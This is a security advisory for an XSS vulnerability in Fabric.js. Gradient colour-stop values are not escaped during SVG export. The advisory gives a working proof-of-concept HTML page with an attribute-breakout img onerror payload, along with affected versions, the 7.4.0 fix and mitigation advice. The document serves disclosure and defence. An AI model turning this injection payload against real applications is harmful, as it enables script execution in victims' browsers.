Fabric.js improper escaping in fabric.Gradient colorStops leads to XSS in SVG serializationGHSA-w22m-hvvm-xmwx
MEDIUMGHSA-w22m-hvvm-xmwx is a medium-severity (CVSS 5.4) Cross-site Scripting (XSS) vulnerability in fabric. A fix is available for fabric — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-w22m-hvvm-xmwx.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-w22m-hvvm-xmwx by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 395,249 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
fabricnpmDescription
Summary
A potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the toSVG() method.
Specifically, the color field within the colorStops array of a fabric.Gradient object is not properly escaped when converted into SVG <stop> elements. If an application renders the generated SVG string into the DOM (e.g., via innerHTML), this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser.
Details
During SVG export, Fabric.js serializes gradient color stops into <stop> elements like:
<stop offset="0" stop-color="..."></stop>
However, the color value is inserted into the stop-color attribute without proper escaping of special characters such as ", <, and >. This allows crafted input to break out of the attribute context and inject arbitrary markup.
For example:
color: 'red"><img src="x" onerror="alert(1)">'
may result in:
<stop offset="0" stop-color="red">
<img src="x" onerror="alert(1)">
This breaks the intended SVG structure and introduces executable HTML.
PoC (Proof of Concept)
Successfully verified on v7.2.0 (current latest version). The following HTML and JavaScript code reproduces the vulnerability. The code constructs a rectangle with a maliciously crafted gradient color stop and exports it to SVG:
<!DOCTYPE html>
<html>
<head>
<title>Fabric.js SVG Export XSS Bypass Test</title>
<script src="[https://cdn.jsdelivr.net/npm/[email protected]/dist/index.js](https://cdn.jsdelivr.net/npm/[email protected]/dist/index.js)"></script>
</head>
<body>
<h1>Fabric.js SVG Export XSS Bypass Test (Gradient Color)</h1>
<canvas id="c" width="400" height="300"></canvas>
<h3>SVG Output Rendering:</h3>
<div id="svg-output" style="border: 1px solid #ccc; padding: 10px; margin-top: 10px;"></div>
<script>
setTimeout(() => {
const canvas = new fabric.Canvas('c');
// Construct a malicious gradient object
const maliciousGradient = new fabric.Gradient({
type: 'linear',
coords: { x1: 0, y1: 0, x2: 100, y2: 0 },
colorStops: [
{
offset: 0,
// Inject XSS payload to prematurely close the attribute/tag
color: 'red"><img src="x" onerror="alert(\'XSS Triggered Successfully!\')">'
},
{ offset: 1, color: 'blue' }
]
});
const rect = new fabric.Rect({
left: 50, top: 50, width: 300, height: 100,
fill: maliciousGradient
});
canvas.add(rect);
// Export to SVG string containing the malicious code
const svgOutput = canvas.toSVG();
// Render on the page to trigger the XSS
document.getElementById('svg-output').innerHTML = svgOutput;
}, 100);
</script>
</body>
</html>
Impact
This issue can lead to XSS in applications that:
- Allow user-controlled input in gradient definitions (e.g., color values)
- Use
canvas.toSVG()to export content - Insert the resulting SVG string into the DOM without sanitization (e.g., via
innerHTML)
Successful exploitation may result in the execution of arbitrary JavaScript in the victim's browser, theft of sensitive data, or unauthorized actions on behalf of the user.
Suggested Fix
Proper Escaping (Recommended): Escape special characters in attribute values during SVG serialization.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | fabric | all versions | 7.4.0npm install fabric@7.4.0 |
Affected Products
fabric.jsfabricjsDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fabric, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update fabric to 7.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w22m-hvvm-xmwx is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is GHSA-w22m-hvvm-xmwx in your dependencies?
Find it across npm, including transitive dependencies.